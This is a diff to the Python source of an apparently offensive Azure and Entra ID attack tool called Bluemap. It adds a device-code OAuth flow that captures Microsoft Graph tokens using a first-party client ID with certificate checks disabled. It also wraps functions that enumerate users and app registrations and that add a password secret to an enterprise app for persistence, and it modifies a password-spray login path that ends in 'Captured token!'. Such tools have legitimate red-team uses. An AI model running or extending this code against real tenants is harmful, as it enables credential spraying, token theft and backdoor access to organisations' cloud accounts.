| skipped 15 lines |
16 | 16 | | |
17 | 17 | | Token = None |
18 | 18 | | RefreshToken = None |
| 19 | + | RefreshTokenGraph = None |
19 | 20 | | AutoGenToken = False |
20 | 21 | | accessTokenGraph = None |
21 | 22 | | accessTokenVault = None |
| skipped 180 lines |
202 | 203 | | pass |
203 | 204 | | return object |
204 | 205 | | |
| 206 | + | def DeviceCodeFlow(): |
| 207 | + | object = {} |
| 208 | + | o = urlparse("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0") |
| 209 | + | ctx = ssl.create_default_context() |
| 210 | + | ctx.check_hostname = False |
| 211 | + | ctx.verify_mode = ssl.CERT_NONE |
| 212 | + | conn = http.client.HTTPSConnection(o.netloc) |
| 213 | + | headers = { |
| 214 | + | 'Content-Type': 'application/x-www-form-urlencoded' |
| 215 | + | } |
| 216 | + | data = { |
| 217 | + | 'client_id' : 'd3590ed6-52b3-4102-aeff-aad2292ab01c', |
| 218 | + | 'grant_type': 'urn:ietf:params:oauth:grant-type:device_code', |
| 219 | + | 'scope' : 'User.Read Users.Read openid profile offline_access', |
| 220 | + | 'code': 'AAAA' |
| 221 | + | } |
| 222 | + | qs = urllib.parse.urlencode(data) |
| 223 | + | conn.request("POST", str(o.path), qs, headers) |
| 224 | + | res = conn.getresponse() |
| 225 | + | object["headers"] = dict(res.getheaders()) |
| 226 | + | object["status_code"] = int(res.status) |
| 227 | + | object["response"] = str(res.read().decode("utf-8")) |
| 228 | + | try: |
| 229 | + | object["json"] = json.loads(object["response"]) |
| 230 | + | except json.JSONDecodeError: |
| 231 | + | pass |
| 232 | + | return object |
| 233 | + | |
| 234 | + | def DeviceCodeFlowAuthUser(teantnId, deviceCode, userCode): |
| 235 | + | object = {} |
| 236 | + | o = urlparse("https://login.microsoftonline.com/"+str(teantnId)+"/oauth2/v2.0/token") |
| 237 | + | ctx = ssl.create_default_context() |
| 238 | + | ctx.check_hostname = False |
| 239 | + | ctx.verify_mode = ssl.CERT_NONE |
| 240 | + | conn = http.client.HTTPSConnection(o.netloc) |
| 241 | + | headers = { |
| 242 | + | 'Content-Type': 'application/x-www-form-urlencoded' |
| 243 | + | } |
| 244 | + | data = { |
| 245 | + | 'tenant': teantnId, |
| 246 | + | 'grant_type': 'urn:ietf:params:oauth:grant-type:device_code', |
| 247 | + | 'client_id' : 'd3590ed6-52b3-4102-aeff-aad2292ab01c', |
| 248 | + | 'device_code': deviceCode |
| 249 | + | } |
| 250 | + | qs = urllib.parse.urlencode(data) |
| 251 | + | conn.request("POST", str(o.path), qs, headers) |
| 252 | + | res = conn.getresponse() |
| 253 | + | object["headers"] = dict(res.getheaders()) |
| 254 | + | object["status_code"] = int(res.status) |
| 255 | + | object["response"] = str(res.read().decode("utf-8")) |
| 256 | + | try: |
| 257 | + | object["json"] = json.loads(object["response"]) |
| 258 | + | except json.JSONDecodeError: |
| 259 | + | pass |
| 260 | + | return object |
| 261 | + | |
205 | 262 | | def sendPUTRequest(url, body, Token): |
206 | 263 | | object = {} |
207 | 264 | | o = urlparse(url) |
| skipped 70 lines |
278 | 335 | | global RefreshToken |
279 | 336 | | RefreshToken = TokenRF |
280 | 337 | | |
| 338 | + | def initRefreshGraphToken(TokenRFGraph): |
| 339 | + | global RefreshTokenGraph |
| 340 | + | RefreshTokenGraph = TokenRFGraph |
| 341 | + | |
| 342 | + | def initTokenWithGraph(token, graphToken): |
| 343 | + | global Token, accessTokenGraph,TargetSubscription, TargetTenantId, hasGraphAccess, hasMgmtAccess |
| 344 | + | hasGraphAccess = True |
| 345 | + | hasMgmtAccess = True |
| 346 | + | Token = token |
| 347 | + | accessTokenGraph = graphToken |
| 348 | + | try: |
| 349 | + | listSubs = ListSubscriptionsForToken() |
| 350 | + | TargetSubscription = listSubs['value'][0]['subscriptionId'] |
| 351 | + | TargetTenantId = parseTenantId() |
| 352 | + | except KeyError: |
| 353 | + | pass |
| 354 | + | |
281 | 355 | | def initToken(token, resetscopes): |
282 | 356 | | global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled,TargetSubscription, TargetTenantId |
283 | 357 | | if resetscopes: |
| skipped 77 lines |
361 | 435 | | return "Got unknown error" |
362 | 436 | | |
363 | 437 | | |
364 | | - | |
365 | 438 | | def ReloadToken(): |
366 | 439 | | global RefreshToken |
367 | 440 | | r = sendPOSTRequestRefreshToken(parseTenantId(), RefreshToken ) |
| skipped 16 lines |
384 | 457 | | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
385 | 458 | | return r |
386 | 459 | | |
| 460 | + | ''' |
| 461 | + | The method used to check token state for graph based methods |
| 462 | + | ''' |
| 463 | + | def CheckSubscriptionReqGraphState(): |
| 464 | + | global accessTokenGraph |
| 465 | + | r = sendGETRequest("https://graph.microsoft.com/v1.0/users/", accessTokenGraph) |
| 466 | + | if len(r['json']) == 0: |
| 467 | + | return False |
| 468 | + | else: |
| 469 | + | return True |
| 470 | + | |
387 | 471 | | ''' Based on AADInternals Research (https://aadinternals.com/post/just-looking/) ''' |
388 | 472 | | |
389 | 473 | | def ENUM_Tenant_Info(domain): |
| skipped 55 lines |
445 | 529 | | |
446 | 530 | | def RD_ListAllUsers(): |
447 | 531 | | global accessTokenGraph |
448 | | - | r = sendGETRequest("https://graph.microsoft.com/v1.0/users/", accessTokenGraph) |
449 | | - | return r["json"] |
| 532 | + | if CheckSubscriptionReqGraphState(): |
| 533 | + | r = sendGETRequest("https://graph.microsoft.com/v1.0/users/", accessTokenGraph) |
| 534 | + | return r["json"] |
| 535 | + | else: |
| 536 | + | print("Need to refresh token / obtain token for MSGraph.") |
450 | 537 | | |
451 | 538 | | def GA_ElevateAccess(): |
452 | 539 | | global Token |
| skipped 23 lines |
476 | 563 | | |
477 | 564 | | def RD_AddAppSecret(): |
478 | 565 | | global accessTokenGraph |
479 | | - | r = sendGETRequest("https://graph.microsoft.com/v1.0/applications", accessTokenGraph) |
480 | | - | return r['json'] |
| 566 | + | if CheckSubscriptionReqGraphState(): |
| 567 | + | r = sendGETRequest("https://graph.microsoft.com/v1.0/applications", accessTokenGraph) |
| 568 | + | return r['json'] |
| 569 | + | else: |
| 570 | + | print("Need to refresh token / obtain token for MSGraph.") |
481 | 571 | | |
482 | 572 | | def getResGroup(subid): |
483 | 573 | | global Token |
| skipped 358 lines |
842 | 932 | | |
843 | 933 | | def CHK_AppRegOwner(appId): |
844 | 934 | | global accessTokenGraph |
845 | | - | r = sendGETRequest("https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), accessTokenGraph) |
846 | | - | appData = r['json']['value'][0]['id'] |
847 | | - | AppOwners = sendGETRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/owners", accessTokenGraph) |
848 | | - | if str(parseUPN()) in AppOwners["response"]: |
849 | | - | return "Yes! Try Exploit: Reader/abuseServicePrincipals" |
| 935 | + | if CheckSubscriptionReqGraphState(): |
| 936 | + | r = sendGETRequest("https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), accessTokenGraph) |
| 937 | + | appData = r['json']['value'][0]['id'] |
| 938 | + | AppOwners = sendGETRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/owners", accessTokenGraph) |
| 939 | + | if str(parseUPN()) in AppOwners["response"]: |
| 940 | + | return "Yes! Try Exploit: Reader/abuseServicePrincipals" |
| 941 | + | else: |
| 942 | + | return "N/A" |
850 | 943 | | else: |
851 | | - | return "N/A" |
| 944 | + | print("Need to refresh token / obtain token for MSGraph.") |
852 | 945 | | |
853 | 946 | | def RD_addPasswordForEntrepriseApp(appId): |
854 | 947 | | global accessTokenGraph |
855 | | - | r = sendGETRequest( |
856 | | - | "https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), |
857 | | - | accessTokenGraph) |
858 | | - | appData = r['json']['value'][0]['id'] |
859 | | - | req = { |
860 | | - | "passwordCredential": { |
861 | | - | "displayName": "Password" |
862 | | - | } |
863 | | - | } |
864 | | - | addSecretPwd = sendPOSTRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/addPassword", req, accessTokenGraph) |
865 | | - | if addSecretPwd['status_code'] == 200: |
866 | | - | pwdOwn = addSecretPwd['json'] |
867 | | - | return "AppId: " + pwdOwn['keyId'] + "| Pwd: " + pwdOwn['secretText'] |
| 948 | + | if CheckSubscriptionReqGraphState(): |
| 949 | + | r = sendGETRequest( |
| 950 | + | "https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), |
| 951 | + | accessTokenGraph) |
| 952 | + | appData = r['json']['value'][0]['id'] |
| 953 | + | req = { |
| 954 | + | "passwordCredential": { |
| 955 | + | "displayName": "Password" |
| 956 | + | } |
| 957 | + | } |
| 958 | + | addSecretPwd = sendPOSTRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/addPassword", req, accessTokenGraph) |
| 959 | + | if addSecretPwd['status_code'] == 200: |
| 960 | + | pwdOwn = addSecretPwd['json'] |
| 961 | + | return "AppId: " + pwdOwn['keyId'] + "| Pwd: " + pwdOwn['secretText'] |
| 962 | + | else: |
| 963 | + | return "N/A" |
868 | 964 | | else: |
869 | | - | return "N/A" |
| 965 | + | print("Need to refresh token / obtain token for MSGraph.") |
870 | 966 | | |
871 | 967 | | def tryGetToken(): |
872 | 968 | | global accessTokenGraph, accessTokenVault, hasGraphAccess, hasMgmtAccess, hasVaultEnabled |
| skipped 192 lines |
1065 | 1161 | | def AutoRecon(): |
1066 | 1162 | | print("\nChecking for current SubscriptionId: " + str(TargetSubscription)) |
1067 | 1163 | | print("\n===== Checking Available Resources =====\n") |
| 1164 | + | print("Checking all Storage Accounts..") |
1068 | 1165 | | totalStorageAccounts = len(RD_ListAllStorageAccounts()) |
| 1166 | + | print("Checking all VMS...") |
1069 | 1167 | | totalVMs = len(RD_ListAllVMs()) |
| 1168 | + | print("Checking all deployments...") |
1070 | 1169 | | totalDeployments = len(RD_ListAllDeployments()) |
| 1170 | + | print("Checking all app registrations...") |
1071 | 1171 | | totalAppRegistrations = len(RD_AddAppSecret()) |
| 1172 | + | print("Checking all ACRs...") |
1072 | 1173 | | totalACRs = len(RD_ListAllACRs()) |
| 1174 | + | print("Checking all automation runbooks...") |
1073 | 1175 | | totalRubBooks = len(RD_ListRunBooksByAutomationAccounts()) |
| 1176 | + | |
| 1177 | + | print("\nTotal Found:") |
1074 | 1178 | | print("Storage Account: " + str(totalStorageAccounts)) |
1075 | 1179 | | print("Virtual Machines: " + str(totalVMs)) |
1076 | 1180 | | print("Deployments: " + str(totalDeployments)) |
| skipped 142 lines |
1219 | 1323 | | |
1220 | 1324 | | def ListSubscriptionsForToken(): |
1221 | 1325 | | global Token |
1222 | | - | r = CheckSubscriptionReqState() |
| 1326 | + | r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token) |
1223 | 1327 | | return r['json'] |
1224 | 1328 | | |
1225 | | - | |
1226 | 1329 | | def GetAllResourcesUnderSubscription(subscriptionId, token): |
1227 | 1330 | | r = sendGETRequest("https://management.azure.com/subscriptions/" + subscriptionId + "/resources?api-version=2017-05-10", token) |
1228 | 1331 | | return r['json'] |
| skipped 18 lines |
1247 | 1350 | | ''' |
1248 | 1351 | | supportedCommands = [ |
1249 | 1352 | | "version", |
| 1353 | + | "test", |
1250 | 1354 | | "whoami", |
1251 | 1355 | | "scopes", |
1252 | 1356 | | "get_subs", |
| skipped 64 lines |
1317 | 1421 | | else: |
1318 | 1422 | | if mode == "run" and ExploitChoosen is None: |
1319 | 1423 | | print("Use run command only within an exploit.") |
| 1424 | + | elif mode == "test": |
| 1425 | + | print(RD_ListAllStorageAccounts()) |
1320 | 1426 | | elif mode == "version": |
1321 | 1427 | | print("Bluemap 1.0.0-Beta") |
1322 | 1428 | | elif mode == "whoami": |
| skipped 34 lines |
1357 | 1463 | | if TargetSubscription == None: |
1358 | 1464 | | print("Use set_target to set a subscription to work on.") |
1359 | 1465 | | else: |
1360 | | - | AutoRecon() |
1361 | | - | elif "autorecon" in mode: |
1362 | | - | if TargetSubscription == None: |
1363 | | - | print("Use set_target to set a subscription to work on.") |
1364 | | - | else: |
1365 | | - | AutoRecon() |
| 1466 | + | if CheckSubscriptionReqGraphState(): |
| 1467 | + | AutoRecon() |
| 1468 | + | else: |
| 1469 | + | print("Missing MSGraphs scope in current user token for autorecon module.\nAbort!") |
1366 | 1470 | | elif "shadowacc" in mode: |
1367 | 1471 | | if TargetSubscription == None: |
1368 | 1472 | | print("Use set_target to set a subscription to work on.") |
| skipped 186 lines |
1555 | 1659 | | elif "Token/SetToken" in ExploitChoosen and mode == "run": |
1556 | 1660 | | print("Please paste your Azure token here:") |
1557 | 1661 | | token = input("Enter Token:") |
1558 | | - | initToken(token, True) |
1559 | | - | print("All set.") |
| 1662 | + | check = token.split(".")[1] |
| 1663 | + | audAttribue = json.loads(base64.b64decode(check))['aud'] |
| 1664 | + | if audAttribue != "https://management.azure.com/": |
| 1665 | + | print("Error: Token/SetToken support only management.azure.com scope tokens.") |
| 1666 | + | else: |
| 1667 | + | initToken(token, True) |
| 1668 | + | print("All set.") |
1560 | 1669 | | elif "Token/RefreshToken" in ExploitChoosen and mode == "run": |
1561 | 1670 | | ''' For Token/GenToken method ''' |
1562 | 1671 | | if AutoGenToken == True: |
| skipped 3 lines |
1566 | 1675 | | print("Token Refresh. Done.") |
1567 | 1676 | | else: |
1568 | 1677 | | ''' For any other manual method (Token/SetToken or Token/AuthToken)''' |
1569 | | - | ReloadToken() |
1570 | | - | print("Token Refresh. Done.") |
| 1678 | + | print("Refresh token not supported for Token/SetToken or Token/AuthToken. Try to login again.") |
1571 | 1679 | | elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run": |
1572 | 1680 | | print("Trying to enumerate all external-facing Azure Service Apps..") |
1573 | 1681 | | if len(RD_ListExposedWebApps()) < 1: |
| skipped 222 lines |
1796 | 1904 | | r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", user, pwd, True) |
1797 | 1905 | | response = r["json"] |
1798 | 1906 | | if 'access_token' in response: |
1799 | | - | initToken(response['access_token'], True) |
1800 | | - | initRefreshToken(response['refresh_token']) |
1801 | | - | print("Logged In!") |
| 1907 | + | print("Credentials OK, continue..") |
| 1908 | + | x = DeviceCodeFlow() |
| 1909 | + | dc = x["json"]["device_code"] |
| 1910 | + | uc = x["json"]["user_code"] |
| 1911 | + | print("Now follow the next steps to complete the process:") |
| 1912 | + | print(x["json"]["message"]) |
| 1913 | + | while(True): |
| 1914 | + | res = DeviceCodeFlowAuthUser("5adb82f3-e85b-42af-b237-adf6e094f963",dc, uc)["json"] |
| 1915 | + | if 'error_description' in res: |
| 1916 | + | continue |
| 1917 | + | else: |
| 1918 | + | if 'expired_token' in res: |
| 1919 | + | print("Expired Token, try again!") |
| 1920 | + | break |
| 1921 | + | else: |
| 1922 | + | accessTokenGraph = res |
| 1923 | + | initTokenWithGraph(response['access_token'], accessTokenGraph['access_token']) |
| 1924 | + | initRefreshToken(response['refresh_token']) |
| 1925 | + | print("Captured token!") |
| 1926 | + | break |
1802 | 1927 | | else: |
1803 | | - | print("Invalid username / password") |
| 1928 | + | print("Invalid username / password.") |
1804 | 1929 | | elif "External/EmailEnum" in ExploitChoosen and mode == "run": |
1805 | 1930 | | DestPath = input("Please enter the path for emails [i.e. C:\\emails.txt]: ") |
1806 | 1931 | | if DestPath == "": |
| skipped 429 lines |